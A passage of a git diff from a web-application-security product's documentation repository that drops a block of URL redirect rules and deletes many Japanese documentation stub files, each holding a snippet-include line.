/tr/admin-en/configuration-guides/sso/intro/ -/tr/admin-en/configuration-guides/sso/gsuite/* /tr/admin-en/configuration-guides/sso/sso-gsuite/ -/tr/admin-en/configuration-guides/sso/okta/* /tr/admin-en/configuration-guides/sso/sso-okta/ -/ar/admin-en/configuration-guides/sso/employ-user-auth/ /ar/admin-en/configuration-guides/sso/intro/#available-options -/ar/admin-en/configuration-guides/sso/change-sso-provider/ /ar/admin-en/configuration-guides/sso/setup/#disabling-and-deletion -/ar/user-guides/use-sso/ /ar/admin-en/configuration-guides/sso/intro/ -/ar/admin-en/configuration-guides/sso/gsuite/* /ar/admin-en/configuration-guides/sso/sso-gsuite/ -/ar/admin-en/configuration-guides/sso/okta/* /ar/admin-en/configuration-guides/sso/sso-okta/ -/ja/admin-en/configuration-guides/sso/employ-user-auth/ /ja/admin-en/configuration-guides/sso/intro/#available-options -/ja/admin-en/configuration-guides/sso/change-sso-provider/ /ja/admin-en/configuration-guides/sso/setup/#disabling-and-deletion -/ja/user-guides/use-sso/ /ja/admin-en/configuration-guides/sso/intro/ -/ja/admin-en/configuration-guides/sso/gsuite/* /ja/admin-en/configuration-guides/sso/sso-gsuite/ -/ja/admin-en/configuration-guides/sso/okta/* /ja/admin-en/configuration-guides/sso/sso-okta/ -/pt-br/admin-en/configuration-guides/sso/employ-user-auth/ /pt-br/admin-en/configuration-guides/sso/intro/#available-options -/pt-br/admin-en/configuration-guides/sso/change-sso-provider/ /pt-br/admin-en/configuration-guides/sso/setup/#disabling-and-deletion -/pt-br/user-guides/use-sso/ /pt-br/admin-en/configuration-guides/sso/intro/ -/pt-br/admin-en/configuration-guides/sso/gsuite/* /pt-br/admin-en/configuration-guides/sso/sso-gsuite/ -/pt-br/admin-en/configuration-guides/sso/okta/* /pt-br/admin-en/configuration-guides/sso/sso-okta/ - -/installation/oob/terraform-module/mirroring-by-web-server/ /installation/oob/overview/#supported-deployment-options -/installation/oob/web-server-mirroring/aws-ami/ /installation/oob/overview/#supported-deployment-options -/installation/oob/web-server-mirroring/docker-image/ /installation/oob/overview/#supported-deployment-options -/installation/oob/web-server-mirroring/gcp-machine-image/ /installation/oob/overview/#supported-deployment-options -/installation/oob/web-server-mirroring/linux/all-in-one/ /installation/oob/overview/#supported-deployment-options -/installation/oob/web-server-mirroring/overview/ /installation/oob/overview/#supported-deployment-options - -/admin-en/monitoring/* /admin-en/configure-statistics-service/ -/tr/admin-en/monitoring/* /tr/admin-en/configure-statistics-service/ -/ar/admin-en/monitoring/* /ar/admin-en/configure-statistics-service/ -/pt-br/admin-en/monitoring/* /pt-br/admin-en/configure-statistics-service/ -/ja/admin-en/monitoring/* /ja/admin-en/configure-statistics-service/ - -/5.x/installation/kubernetes/kong-ingress-controller/* /5.x/installation/connectors/kong-api-gateway/ -/5.x/installation/inline/kubernetes/kong-ingress-controller/* /5.x/installation/connectors/kong-api-gateway/ -/installation/kubernetes/kong-ingress-controller/* /installation/connectors/kong-api-gateway/ -/installation/inline/kubernetes/kong-ingress-controller/* /installation/connectors/kong-api-gateway/ -/ar/installation/kubernetes/kong-ingress-controller/* /ar/installation/connectors/kong-api-gateway/ -/ar/installation/inline/kubernetes/kong-ingress-controller/* /ar/installation/connectors/kong-api-gateway/ -/tr/installation/kubernetes/kong-ingress-controller/* /tr/installation/connectors/kong-api-gateway/ -/tr/installation/inline/kubernetes/kong-ingress-controller/* /tr/installation/connectors/kong-api-gateway/ -/ja/installation/kubernetes/kong-ingress-controller/* /ja/installation/connectors/kong-api-gateway/ -/ja/installation/inline/kubernetes/kong-ingress-controller/* /ja/installation/connectors/kong-api-gateway/ -/pt-br/installation/kubernetes/kong-ingress-controller/* /pt-br/installation/connectors/kong-api-gateway/ -/pt-br/installation/inline/kubernetes/kong-ingress-controller/* /pt-br/installation/connectors/kong-api-gateway/ - -/admin-en/configuration-guides/wallarm-in-separated-environments/how-wallarm-in-separated-environments-works/ /installation/multi-tenant/overview/ -/admin-en/configuration-guides/wallarm-in-separated-environments/configure-wallarm-in-separated-environments/ /installation/multi-tenant/overview/ -/5.x/admin-en/configuration-guides/wallarm-in-separated-environments/how-wallarm-in-separated-environments-works/ /5.x/installation/multi-tenant/overview/ -/5.x/admin-en/configuration-guides/wallarm-in-separated-environments/configure-wallarm-in-separated-environments/ /5.x/installation/multi-tenant/overview/ -/4.10/admin-en/configuration-guides/wallarm-in-separated-environments/how-wallarm-in-separated-environments-works/ /4.10/installation/multi-tenant/overview/ -/4.10/admin-en/configuration-guides/wallarm-in-separated-environments/configure-wallarm-in-separated-environments/ /4.10/installation/multi-tenant/overview/ -/4.8/admin-en/configuration-guides/wallarm-in-separated-environments/how-wallarm-in-separated-environments-works/ /4.8/installation/multi-tenant/overview/ -/4.8/admin-en/configuration-guides/wallarm-in-separated-environments/configure-wallarm-in-separated-environments/ /4.8/installation/multi-tenant/overview/ - -/5.x/admin-en/configuration-guides/envoy/fine-tuning /5.x/installation/connectors/istio -/5.x/admin-en/installation-guides/envoy/envoy-docker /5.x/installation/connectors/istio -/5.x/installation/inline/compute-instances/docker/envoy-based /5.x/installation/connectors/istio -/admin-en/configuration-guides/envoy/fine-tuning /installation/connectors/istio -/admin-en/installation-guides/envoy/envoy-docker /installation/connectors/istio -/installation/inline/compute-instances/docker/envoy-based /installation/connectors/istio - -/4.6/* /4.8 -/4.8/admin-en/* /4.8 -/4.8/installation/* /4.8 -/4.8/quickstart/* /4.8 -/4.8/updating-migrating/* /4.8 -/4.8/user-guides/* /4.8 -/4.8/about-wallarm/* /4.8 -/4.8/attacks-vulns-list/ /4.8 -/4.8/glossary-en/ /4.8 -/4.8/api/* /4.8 -/4.8/api-abuse-prevention/* /4.8 -/4.8/api-discovery/* /4.8 -/4.8/api-protection/* /4.8 -/4.8/api-specification-enforcement/* /4.8 -/4.8/demo-videos/* /4.8 -/4.8/faq/* /4.8 -/4.8/fast/* /4.8 -/4.8/integrations-devsecops/* /4.8 -/4.8/vulnerability-detection/* /4.8 -/4.8/api-sessions/ /4.8 -/4.8/news/ /4.8 -/4.8/api-attack-surface/ /4.8 - -/user-guides/scanner/ /api-attack-surface/api-surface/#replacement-of-old-scanner -/5.x/user-guides/scanner/ /5.x/api-attack-surface/api-surface/#replacement-of-old-scanner -/4.10/user-guides/scanner/ /4.10/api-attack-surface/api-surface/#replacement-of-old-scanner -/ar/user-guides/scanner/ /ar/api-attack-surface/api-surface/#replacement-of-old-scanner -/tr/user-guides/scanner/ /tr/api-attack-surface/api-surface/#replacement-of-old-scanner -/ja/user-guides/scanner/ /ja/api-attack-surface/api-surface/#replacement-of-old-scanner -/pt-br/user-guides/scanner/ /pt-br/api-attack-surface/api-surface/#replacement-of-old-scanner - - -/2.18/* /updating-migrating/older-versions/what-is-new/ -/3.6/* /updating-migrating/older-versions/what-is-new/ - -/faq/common-errors-after-installation/#why-does-not-the-filtering-node-block-attacks-when-operating-in-blocking-mode-wallarm_mode-block /troubleshooting/detection-and-blocking/#filtering-node-does-not-block-attacks-when-operating-in-blocking-mode-wallarm_mode-block -/faq/wallarm-status-page/ /troubleshooting/overview/#wallarm-service-status-page -/admin-en/configure-selinux/ /troubleshooting/detection-and-blocking/#filtering-node-rps-and-aps-values-are-not-exported-to-cloud -/faq/cpu/ /troubleshooting/performance/#wallarm-node-consumes-too-much-cpu -/faq/attacks-not-uploaded-to-cloud/ /troubleshooting/detection-and-blocking/#attacks-are-not-displayed -/faq/wrong-blocking/ /troubleshooting/detection-and-blocking/#user-gets-blocking-page-after-legitimate-request -/5.x/faq/common-errors-after-installation/#why-does-not-the-filtering-node-block-attacks-when-operating-in-blocking-mode-wallarm_mode-block /5.x/troubleshooting/detection-and-blocking/#filtering-node-does-not-block-attacks-when-operating-in-blocking-mode-wallarm_mode-block -/5.x/faq/wallarm-status-page/ /5.x/troubleshooting/overview/#wallarm-service-status-page -/5.x/admin-en/configure-selinux/ /5.x/troubleshooting/detection-and-blocking/#filtering-node-rps-and-aps-values-are-not-exported-to-cloud -/5.x/faq/cpu/ /5.x/troubleshooting/performance/#wallarm-node-consumes-too-much-cpu -/5.x/faq/attacks-not-uploaded-to-cloud/ /5.x/troubleshooting/detection-and-blocking/#attacks-are-not-displayed -/5.x/faq/wrong-blocking/ /5.x/troubleshooting/detection-and-blocking/#user-gets-blocking-page-after-legitimate-request -/4.10/faq/common-errors-after-installation/#why-does-not-the-filtering-node-block-attacks-when-operating-in-blocking-mode-wallarm_mode-block /4.10/troubleshooting/detection-and-blocking/#filtering-node-does-not-block-attacks-when-operating-in-blocking-mode-wallarm_mode-block -/4.10/faq/wallarm-status-page/ /4.10/troubleshooting/overview/#wallarm-service-status-page -/4.10/admin-en/configure-selinux/ /4.10/troubleshooting/detection-and-blocking/#filtering-node-rps-and-aps-values-are-not-exported-to-cloud -/4.10/faq/cpu/ /4.10/troubleshooting/performance/#wallarm-node-consumes-too-much-cpu -/4.10/faq/attacks-not-uploaded-to-cloud/ /4.10/troubleshooting/detection-and-blocking/#attacks-are-not-displayed -/4.10/faq/wrong-blocking/ /4.10/troubleshooting/detection-and-blocking/#user-gets-blocking-page-after-legitimate-request - -/installation/on-premise/ /installation/on-premise/overview/ -/5.x/installation/on-premise/ /5.x/installation/on-premise/overview/ -/4.10/installation/on-premise/ /4.10/installation/on-premise/overview/ -/ja/installation/on-premise/ /ja/installation/on-premise/overview/ -/tr/installation/on-premise/ /tr/installation/on-premise/overview/ -/pt-br/installation/on-premise/ /pt-br/installation/on-premise/overview/ -/ar/installation/on-premise/ /ar/installation/on-premise/overview/ - -/installation/connectors/istio-inline/ /installation/connectors/istio/ - -/installation/inline/security-edge-inline/ /installation/security-edge/inline/deployment/ -/installation/security-edge/deployment/ /installation/security-edge/inline/deployment/ -/installation/se-connector/ /installation/security-edge/se-connector/ - -/5.x/installation/inline/security-edge-inline/ /5.x/installation/security-edge/inline/deployment/ -/5.x/installation/security-edge/deployment/ /5.x/installation/security-edge/inline/deployment/ -/5.x/installation/se-connector/ /5.x/installation/security-edge/se-connector/ - -/vulnerability-detection/api-test-patrol/* /vulnerability-detection/schema-based-testing/:splat -/5.x/vulnerability-detection/api-test-patrol/* /5.x/vulnerability-detection/schema-based-testing/:splat -/4.10/vulnerability-detection/api-test-patrol/* /4.10/vulnerability-detection/schema-based-testing/:splat -/ja/vulnerability-detection/api-test-patrol/* /ja/vulnerability-detection/schema-based-testing/:splat -/tr/vulnerability-detection/api-test-patrol/* /tr/vulnerability-detection/schema-based-testing/:splat -/pt-br/vulnerability-detection/api-test-patrol/* /pt-br/vulnerability-detection/schema-based-testing/:splat -/ar/vulnerability-detection/api-test-patrol/* /ar/vulnerability-detection/schema-based-testing/:splat - -/4.8/* /4.10 - -/4.10/admin-en/* /4.10 -/4.10/installation/* /4.10 -/4.10/quickstart/* /4.10 -/4.10/updating-migrating/* /4.10 -/4.10/user-guides/* /4.10 -/4.10/about-wallarm/* /4.10 -/4.10/attacks-vulns-list/ /4.10 -/4.10/glossary-en/ /4.10 -/4.10/api/* /4.10 -/4.10/api-abuse-prevention/* /4.10 -/4.10/api-discovery/* /4.10 -/4.10/api-protection/* /4.10 -/4.10/api-specification-enforcement/* /4.10 -/4.10/demo-videos/* /4.10 -/4.10/faq/* /4.10 -/4.10/fast/* /4.10 -/4.10/integrations-devsecops/* /4.10 -/4.10/vulnerability-detection/* /4.10 -/4.10/api-sessions/ /4.10 -/4.10/news/ /4.10 -/4.10/api-attack-surface/ /4.10 \ No newline at end of file diff --git a/docs/ja/about-wallarm/api-protection-overview.md b/docs/ja/about-wallarm/api-protection-overview.md deleted file mode 100644 index ee1f7289c9..0000000000 --- a/docs/ja/about-wallarm/api-protection-overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/about-wallarm/api-protection-overview.md" \ No newline at end of file diff --git a/docs/ja/about-wallarm/credential-stuffing.md b/docs/ja/about-wallarm/credential-stuffing.md deleted file mode 100644 index 43c1daa199..0000000000 --- a/docs/ja/about-wallarm/credential-stuffing.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/about-wallarm/credential-stuffing.md" \ No newline at end of file diff --git a/docs/ja/about-wallarm/data-retention-policy.md b/docs/ja/about-wallarm/data-retention-policy.md deleted file mode 100644 index 8a83f070c4..0000000000 --- a/docs/ja/about-wallarm/data-retention-policy.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/about-wallarm/data-retention-policy.md" \ No newline at end of file diff --git a/docs/ja/about-wallarm/detecting-vulnerabilities.md b/docs/ja/about-wallarm/detecting-vulnerabilities.md deleted file mode 100644 index 15baf98c50..0000000000 --- a/docs/ja/about-wallarm/detecting-vulnerabilities.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/about-wallarm/detecting-vulnerabilities.md" \ No newline at end of file diff --git a/docs/ja/about-wallarm/mitigation-controls-overview.md b/docs/ja/about-wallarm/mitigation-controls-overview.md deleted file mode 100644 index 09779e9c90..0000000000 --- a/docs/ja/about-wallarm/mitigation-controls-overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/about-wallarm/mitigation-controls-overview.md" \ No newline at end of file diff --git a/docs/ja/about-wallarm/overview.md b/docs/ja/about-wallarm/overview.md deleted file mode 100644 index f0825114a8..0000000000 --- a/docs/ja/about-wallarm/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/about-wallarm/overview.md" \ No newline at end of file diff --git a/docs/ja/about-wallarm/protecting-against-attacks.md b/docs/ja/about-wallarm/protecting-against-attacks.md deleted file mode 100644 index b58f0f1436..0000000000 --- a/docs/ja/about-wallarm/protecting-against-attacks.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/about-wallarm/protecting-against-attacks.md" \ No newline at end of file diff --git a/docs/ja/about-wallarm/shared-responsibility.md b/docs/ja/about-wallarm/shared-responsibility.md deleted file mode 100644 index bbe298e3d3..0000000000 --- a/docs/ja/about-wallarm/shared-responsibility.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/about-wallarm/shared-responsibility.md" \ No newline at end of file diff --git a/docs/ja/about-wallarm/subscription-plans.md b/docs/ja/about-wallarm/subscription-plans.md deleted file mode 100644 index ee4fa6332f..0000000000 --- a/docs/ja/about-wallarm/subscription-plans.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/about-wallarm/subscription-plans.md" \ No newline at end of file diff --git a/docs/ja/about-wallarm/waap-overview.md b/docs/ja/about-wallarm/waap-overview.md deleted file mode 100644 index 89b1fb4c42..0000000000 --- a/docs/ja/about-wallarm/waap-overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/about-wallarm/waap-overview.md" \ No newline at end of file diff --git a/docs/ja/admin-en/apifw-metrics.md b/docs/ja/admin-en/apifw-metrics.md deleted file mode 100644 index c645085849..0000000000 --- a/docs/ja/admin-en/apifw-metrics.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/admin-en/apifw-metrics.md" \ No newline at end of file diff --git a/docs/ja/admin-en/chaining-wallarm-and-other-ingress-controllers.md b/docs/ja/admin-en/chaining-wallarm-and-other-ingress-controllers.md deleted file mode 100644 index c67d4522c3..0000000000 --- a/docs/ja/admin-en/chaining-wallarm-and-other-ingress-controllers.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/admin-en/chaining-wallarm-and-other-ingress-controllers.md" diff --git a/docs/ja/admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md b/docs/ja/admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md deleted file mode 100644 index 83c00d87b2..0000000000 --- a/docs/ja/admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md" \ No newline at end of file diff --git a/docs/ja/admin-en/configuration-guides/allocate-resources-for-node.md b/docs/ja/admin-en/configuration-guides/allocate-resources-for-node.md deleted file mode 100644 index 92ce5ca827..0000000000 --- a/docs/ja/admin-en/configuration-guides/allocate-resources-for-node.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/admin-en/configuration-guides/allocate-resources-for-node.md" \ No newline at end of file diff --git a/docs/ja/admin-en/configuration-guides/configure-block-page-and-code.md b/docs/ja/admin-en/configuration-guides/configure-block-page-and-code.md deleted file mode 100644 index e232b21542..0000000000 --- a/docs/ja/admin-en/configuration-guides/configure-block-page-and-code.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/admin-en/configuration-guides/configure-block-page-and-code.md" \ No newline at end of file diff --git a/docs/ja/admin-en/configuration-guides/handling-invalid-headers.md b/docs/ja/admin-en/configuration-guides/handling-invalid-headers.md deleted file mode 100644 index 857eddbb7b..0000000000 --- a/docs/ja/admin-en/configuration-guides/handling-invalid-headers.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/admin-en/configuration-guides/handling-invalid-headers.md" \ No newline at end of file diff --git a/docs/ja/admin-en/configuration-guides/ldap/ldap.md b/docs/ja/admin-en/configuration-guides/ldap/ldap.md deleted file mode 100644 index aa001807eb..0000000000 --- a/docs/ja/admin-en/configuration-guides/ldap/ldap.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/admin-en/configuration-guides/ldap/ldap.md" \ No newline at end of file diff --git a/docs/ja/admin-en/configuration-guides/protecting-against-bola-trigger.md b/docs/ja/admin-en/configuration-guides/protecting-against-bola-trigger.md deleted file mode 100644 index eb47ea267c..0000000000 --- a/docs/ja/admin-en/configuration-guides/protecting-against-bola-trigger.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/admin-en/configuration-guides/protecting-against-bola-trigger.md" \ No newline at end of file diff --git a/docs/ja/admin-en/configuration-guides/protecting-against-bola.md b/docs/ja/admin-en/configuration-guides/protecting-against-bola.md deleted file mode 100644 index 5dfb498424..0000000000 --- a/docs/ja/admin-en/configuration-guides/protecting-against-bola.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/admin-en/configuration-guides/protecting-against-bola.md" \ No newline at end of file diff --git a/docs/ja/admin-en/configuration-guides/protecting-against-bruteforce.md b/docs/ja/admin-en/configuration-guides/protecting-against-bruteforce.md deleted file mode 100644 index 5108fe8045..0000000000 --- a/docs/ja/admin-en/configuration-guides/protecting-against-bruteforce.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/admin-en/configuration-guides/protecting-against-bruteforce.md" \ No newline at end of file diff --git a/docs/ja/admin-en/configuration-guides/protecting-against-ddos.md b/docs/ja/admin-en/configuration-guides/protecting-against-ddos.md deleted file mode 100644 index a90018ceb5..0000000000 --- a/docs/ja/admin-en/configuration-guides/protecting-against-ddos.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/admin-en/configuration-guides/protecting-against-ddos.md" \ No newline at end of file diff --git a/docs/ja/admin-en/configuration-guides/protecting-against-forcedbrowsing.md b/docs/ja/admin-en/configuration-guides/protecting-against-forcedbrowsing.md deleted file mode 100644 index 14c3344d30..0000000000 --- a/docs/ja/admin-en/configuration-guides/protecting-against-forcedbrowsing.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/admin-en/configuration-guides/protecting-against-forcedbrowsing.md" \ No newline at end of file diff --git a/docs/ja/admin-en/configuration-guides/protecting-with-thresholds.md b/docs/ja/admin-en/configuration-guides/protecting-with-thresholds.md deleted file mode 100644 index c1b77373c2..0000000000 --- a/docs/ja/admin-en/configuration-guides/protecting-with-thresholds.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/admin-en/configuration-guides/protecting-with-thresholds.md" \ No newline at end of file diff --git a/docs/ja/admin-en/configuration-guides/sso/intro.md b/docs/ja/admin-en/configuration-guides/sso/intro.md deleted file mode 100644 index 6922f6a7c6..0000000000 --- a/docs/ja/admin-en/configuration-guides/sso/intro.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/admin-en/configuration-guides/sso/intro.md" \ No newline at end of file diff --git a/docs/ja/admin-en/configuration-guides/sso/setup.md b/docs/ja/admin-en/configuration-guides/sso/setup.md deleted file mode 100644 index 7976771074..0000000000 --- a/docs/ja/admin-en/configuration-guides/sso/setup.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/admin-en/configuration-guides/sso/setup.md" \ No newline at end of file diff --git a/docs/ja/admin-en/configuration-guides/sso/sso-gsuite.md b/docs/ja/admin-en/configuration-guides/sso/sso-gsuite.md deleted file mode 100644 index f88999322b..0000000000 --- a/docs/ja/admin-en/configuration-guides/sso/sso-gsuite.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/admin-en/configuration-guides/sso/sso-gsuite.md" \ No newline at end of file diff --git a/docs/ja/admin-en/configuration-guides/sso/sso-okta.md b/docs/ja/admin-en/configuration-guides/sso/sso-okta.md deleted file mode 100644 index 11fa44bd55..0000000000 --- a/docs/ja/admin-en/configuration-guides/sso/sso-okta.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/admin-en/configuration-guides/sso/sso-okta.md" \ No newline at end of file diff --git a/docs/ja/admin-en/configuration-guides/sso/troubleshooting.md b/docs/ja/admin-en/configuration-guides/sso/troubleshooting.md deleted file mode 100644 index 88a260ff17..0000000000 --- a/docs/ja/admin-en/configuration-guides/sso/troubleshooting.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/admin-en/configuration-guides/sso/troubleshooting.md" \ No newline at end of file diff --git a/docs/ja/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/high-availability-considerations.md b/docs/ja/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/high-availability-considerations.md deleted file mode 100644 index 67725f87d4..0000000000 --- a/docs/ja/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/high-availability-considerations.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/high-availability-considerations.md" diff --git a/docs/ja/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/ingress-controller-monitoring.md b/docs/ja/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/ingress-controller-monitoring.md deleted file mode 100644 index 622e206a29..0000000000 --- a/docs/ja/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/ingress-controller-monitoring.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/ingress-controller-monitoring.md" diff --git a/docs/ja/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/report-public-user-ip.md b/docs/ja/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/report-public-user-ip.md deleted file mode 100644 index 6cde5dd169..0000000000 --- a/docs/ja/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/report-public-user-ip.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/report-public-user-ip.md" diff --git a/docs/ja/admin-en/configure-backup-en.md b/docs/ja/admin-en/configure-backup-en.md deleted file mode 100644 index 87b79c915e..0000000000 --- a/docs/ja/admin-en/configure-backup-en.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/admin-en/configure-backup-en.md" diff --git a/docs/ja/admin-en/configure-cloud-node-synchronization-en.md b/docs/ja/admin-en/configure-cloud-node-synchronization-en.md deleted file mode 100644 index 194553d290..0000000000 --- a/docs/ja/admin-en/configure-cloud-node-synchronization-en.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/admin-en/configure-cloud-node-synchronization-en.md" \ No newline at end of file diff --git a/docs/ja/admin-en/configure-dynamic-dns-resolution-nginx.md b/docs/ja/admin-en/configure-dynamic-dns-resolution-nginx.md deleted file mode 100644 index 916e4d86b8..0000000000 --- a/docs/ja/admin-en/configure-dynamic-dns-resolution-nginx.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/admin-en/configure-dynamic-dns-resolution-nginx.md" \ No newline at end of file diff --git a/docs/ja/admin-en/configure-kubernetes-en.md b/docs/ja/admin-en/configure-kubernetes-en.md deleted file mode 100644 index e5d0654ef9..0000000000 --- a/docs/ja/admin-en/configure-kubernetes-en.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/admin-en/configure-kubernetes-en.md" \ No newline at end of file diff --git a/docs/ja/admin-en/configure-logging.md b/docs/ja/admin-en/configure-logging.md deleted file mode 100644 index 0bf2469834..0000000000 --- a/docs/ja/admin-en/configure-logging.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/admin-en/configure-logging.md" \ No newline at end of file diff --git a/docs/ja/admin-en/configure-parameters-en.md b/docs/ja/admin-en/configure-parameters-en.md deleted file mode 100644 index 079a52cef1..0000000000 --- a/docs/ja/admin-en/configure-parameters-en.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/admin-en/configure-parameters-en.md" \ No newline at end of file diff --git a/docs/ja/admin-en/configure-statistics-service.md b/docs/ja/admin-en/configure-statistics-service.md deleted file mode 100644 index c7680c0475..0000000000 --- a/docs/ja/admin-en/configure-statistics-service.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/admin-en/configure-statistics-service.md" \ No newline at end of file diff --git a/docs/ja/admin-en/configure-wallarm-mode.md b/docs/ja/admin-en/configure-wallarm-mode.md deleted file mode 100644 index 3c06818f0b..0000000000 --- a/docs/ja/admin-en/configure-wallarm-mode.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/admin-en/configure-wallarm-mode.md" \ No newline at end of file diff --git a/docs/ja/admin-en/enabling-ja3.md b/docs/ja/admin-en/enabling-ja3.md deleted file mode 100644 index a51a74041e..0000000000 --- a/docs/ja/admin-en/enabling-ja3.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/admin-en/enabling-ja3.md" \ No newline at end of file diff --git a/docs/ja/admin-en/installation-docker-en.md b/docs/ja/admin-en/installation-docker-en.md deleted file mode 100644 index a4292eebf9..0000000000 --- a/docs/ja/admin-en/installation-docker-en.md +++ /dev/null @@ -1,35 +0,0 @@ -[doc-wallarm-mode]: configure-parameters-en.md#wallarm_mode -[doc-config-params]: configure-parameters-en.md -[waf-mode-instr]: configure-wallarm-mode.md -[logging-instr]: configure-logging.md -[proxy-balancer-instr]: using-proxy-or-balancer-en.md -[process-time-limit-instr]: configure-parameters-en.md#wallarm_process_time_limit -[allocating-memory-guide]: configuration-guides/allocate-resources-for-node.md -[nginx-waf-directives]: configure-parameters-en.md -[mount-config-instr]: #run-the-container-mounting-the-configuration-file -[graylist-docs]: ../user-guides/ip-lists/overview.md -[filtration-modes-docs]: configure-wallarm-mode.md -[application-configuration]: ../user-guides/settings/applications.md -[ptrav-attack-docs]: ../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../images/admin-guides/test-attacks-quickstart.png -[versioning-policy]: ../updating-migrating/versioning-policy.md#version-list -[node-status-docs]: configure-statistics-service.md -[node-token]: ../quickstart.md#deploy-the-wallarm-filtering-node -[api-token]: ../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../installation/supported-deployment-options.md -[nginx-directives-docs]: configure-parameters-en.md -[ip-lists-docs]: ../user-guides/ip-lists/overview.md -[aws-ecs-docs]: ../installation/cloud-platforms/aws/docker-container.md -[gcp-gce-docs]: ../installation/cloud-platforms/gcp/docker-container.md -[azure-container-docs]: ../installation/cloud-platforms/azure/docker-container.md -[alibaba-ecs-docs]: ../installation/cloud-platforms/alibaba-cloud/docker-container.md -[api-policy-enf-docs]: ../api-specification-enforcement/overview.md -[filtration-modes]: configure-wallarm-mode.md#available-filtration-modes -[api-discovery-docs]: ../api-discovery/overview.md -[sensitive-data-rule]: ../user-guides/rules/sensitive-data-rule.md -[apid-only-mode-details]: ../installation/nginx/all-in-one.md#api-discovery-only-mode -[inline-docs]: ../installation/inline/overview.md -[what-is-new-wstore]: ../updating-migrating/what-is-new.md#replacing-tarantool-with-wstore-for-postanalytics - ---8<-- "latest-ja/admin-en/installation-docker-en.md" \ No newline at end of file diff --git a/docs/ja/admin-en/installation-guides/amazon-cloud/autoscaling-group-guide.md b/docs/ja/admin-en/installation-guides/amazon-cloud/autoscaling-group-guide.md deleted file mode 100644 index 0b7335470c..0000000000 --- a/docs/ja/admin-en/installation-guides/amazon-cloud/autoscaling-group-guide.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/admin-en/installation-guides/amazon-cloud/autoscaling-group-guide.md" diff --git a/docs/ja/admin-en/installation-guides/amazon-cloud/autoscaling-overview.md b/docs/ja/admin-en/installation-guides/amazon-cloud/autoscaling-overview.md deleted file mode 100644 index 7a1ee3cd17..0000000000 --- a/docs/ja/admin-en/installation-guides/amazon-cloud/autoscaling-overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/admin-en/installation-guides/amazon-cloud/autoscaling-overview.md" diff --git a/docs/ja/admin-en/installation-guides/amazon-cloud/create-image.md b/docs/ja/admin-en/installation-guides/amazon-cloud/create-image.md deleted file mode 100644 index 2fcf71e102..0000000000 --- a/docs/ja/admin-en/installation-guides/amazon-cloud/create-image.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/admin-en/installation-guides/amazon-cloud/create-image.md" diff --git a/docs/ja/admin-en/installation-guides/amazon-cloud/load-balancing-guide.md b/docs/ja/admin-en/installation-guides/amazon-cloud/load-balancing-guide.md deleted file mode 100644 index af81855df2..0000000000 --- 